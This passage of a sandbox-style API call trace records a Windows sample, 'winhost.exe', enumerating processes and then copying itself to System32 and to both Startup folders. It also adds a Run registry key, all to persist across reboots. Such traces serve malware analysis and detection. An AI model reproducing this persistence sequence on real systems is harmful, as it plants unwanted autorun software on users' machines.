th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0057.639] lstrlenW (lpString="telecommunications.exe") returned 22 [0057.639] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0057.640] lstrlenW (lpString="sound banking.exe") returned 17 [0057.640] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.640] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.640] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.640] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.640] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.641] lstrlenW (lpString="taskhost.exe") returned 12 [0057.641] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.641] lstrlenW (lpString="dllhost.exe") returned 11 [0057.641] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.642] lstrlenW (lpString="dllhost.exe") returned 11 [0057.642] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0057.642] lstrlenW (lpString="winhost.exe") returned 11 [0057.642] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0057.643] CloseHandle (hObject=0xe0) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5270 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e52b8 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5300 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5320 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5368 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4a08 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4720 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4758 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4350 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4378 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c47a0 | out: hHeap=0x4b0000) returned 1 [0057.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c43a0 | out: hHeap=0x4b0000) returned 1 [0057.645] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4eb430 [0057.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4fb438 [0057.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c43a0 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c43a0, Size=0x40) returned 0x4e69b0 [0057.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c43a0 [0057.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c4378 [0057.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c4350 [0057.646] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4e69f8 [0057.646] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4fb438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0057.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50b440 [0057.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51b448 [0057.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.647] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c4350 [0057.647] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4e6a40 [0057.648] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a40, Size=0x80) returned 0x4e5270 [0057.648] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5270, Size=0x100) returned 0x4e7bb8 [0057.648] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb8 | out: hHeap=0x4b0000) returned 1 [0057.648] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x50b440, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\winhost.exe") returned 0x20 [0057.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51b448 | out: hHeap=0x4b0000) returned 1 [0057.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b440 | out: hHeap=0x4b0000) returned 1 [0057.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x21b0020 [0057.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.648] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4c4350 [0057.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.648] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4e5938 [0057.648] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.648] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.648] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0057.649] lstrlenW (lpString="kernel32.dll") returned 12 [0057.649] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4350 | out: hHeap=0x4b0000) returned 1 [0057.649] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.649] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0057.649] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0057.652] ReadFile (in: hFile=0xe0, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.665] WriteFile (in: hFile=0xe4, lpBuffer=0x21b0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.669] ReadFile (in: hFile=0xe0, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0057.669] CloseHandle (hObject=0xe4) returned 1 [0057.673] CloseHandle (hObject=0xe0) returned 1 [0057.673] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.673] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4e5938 [0057.673] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.673] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4e58e8 [0057.673] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.674] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.674] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0057.674] lstrlenW (lpString="kernel32.dll") returned 12 [0057.674] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e8 | out: hHeap=0x4b0000) returned 1 [0057.674] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.674] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.674] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x21b0020 | out: hHeap=0x4b0000) returned 1 [0057.675] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.675] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4e5938 [0057.675] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5938, Size=0x40) returned 0x4e6a40 [0057.675] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a40, Size=0x80) returned 0x50b458 [0057.675] lstrlenW (lpString="C:\\Windows\\System32\\winhost.exe") returned 31 [0057.675] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0057.675] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x5c) returned 0x4e5270 [0057.675] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0057.675] RegSetValueExW (in: hKey=0xe0, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\winhost.exe") returned 0x0 [0057.677] RegCloseKey (hKey=0xe0) returned 0x0 [0057.677] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5270 | out: hHeap=0x4b0000) returned 1 [0057.677] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0057.677] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0057.677] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d440 [0057.677] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d448 [0057.677] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.677] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a08, Size=0x20) returned 0x4e5938 [0057.678] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5938, Size=0x40) returned 0x4e6a40 [0057.678] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a40, Size=0x80) returned 0x50b458 [0057.678] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4e7bb8 [0057.678] lstrlenW (lpString="") returned 0 [0057.678] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.678] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cc0 [0057.678] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0057.678] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x51d448*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0057.678] RegCloseKey (hKey=0xe0) returned 0x0 [0057.678] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cc0 | out: hHeap=0x4b0000) returned 1 [0057.678] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.678] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cc0 [0057.678] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0057.679] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0057.679] RegCloseKey (hKey=0xe4) returned 0x0 [0057.679] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cc0 | out: hHeap=0x4b0000) returned 1 [0057.679] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0057.679] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.679] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb8 | out: hHeap=0x4b0000) returned 1 [0057.679] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x50d440, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x68 [0057.679] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d448 | out: hHeap=0x4b0000) returned 1 [0057.679] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d440 | out: hHeap=0x4b0000) returned 1 [0057.679] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x21b0020 [0057.680] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.680] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e5938 [0057.680] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.680] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e58e8 [0057.680] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.680] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.680] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0057.680] lstrlenW (lpString="kernel32.dll") returned 12 [0057.680] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.680] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.680] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e8 | out: hHeap=0x4b0000) returned 1 [0057.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0057.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0057.688] ReadFile (in: hFile=0xe4, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.699] WriteFile (in: hFile=0xe8, lpBuffer=0x21b0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.703] ReadFile (in: hFile=0xe4, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0057.703] CloseHandle (hObject=0xe8) returned 1 [0057.705] CloseHandle (hObject=0xe4) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.705] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e58e8 [0057.705] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.705] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e5938 [0057.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.705] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.705] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0057.705] lstrlenW (lpString="kernel32.dll") returned 12 [0057.705] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.705] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.705] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e8 | out: hHeap=0x4b0000) returned 1 [0057.705] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x21b0020 | out: hHeap=0x4b0000) returned 1 [0057.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d440 [0057.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d448 [0057.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.706] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e58e8 [0057.706] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e58e8, Size=0x40) returned 0x4e6a40 [0057.706] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a40, Size=0x80) returned 0x50b458 [0057.706] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4e7bb8 [0057.706] lstrlenW (lpString="") returned 0 [0057.706] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cc0 [0057.706] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0057.706] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0057.706] RegCloseKey (hKey=0xe4) returned 0x0 [0057.707] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cc0 | out: hHeap=0x4b0000) returned 1 [0057.707] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0057.707] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.707] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb8 | out: hHeap=0x4b0000) returned 1 [0057.707] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x50d440, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0057.707] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d448 | out: hHeap=0x4b0000) returned 1 [0057.707] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d440 | out: hHeap=0x4b0000) returned 1 [0057.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x21b0020 [0057.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.707] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e58e8 [0057.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.707] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e5938 [0057.707] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.707] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.707] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0057.707] lstrlenW (lpString="kernel32.dll") returned 12 [0057.708] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e8 | out: hHeap=0x4b0000) returned 1 [0057.708] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.708] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0057.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0057.710] ReadFile (in: hFile=0xe4, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.721] WriteFile (in: hFile=0xe8, lpBuffer=0x21b0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0057.785] ReadFile (in: hFile=0xe4, lpBuffer=0x21b0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21b0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0057.785] CloseHandle (hObject=0xe8) returned 1 [0057.787] CloseHandle (hObject=0xe4) returned 1 [0057.787] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.787] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e5938 [0057.787] RtlAllocateHeap (HeapHandle=0x4b0000, 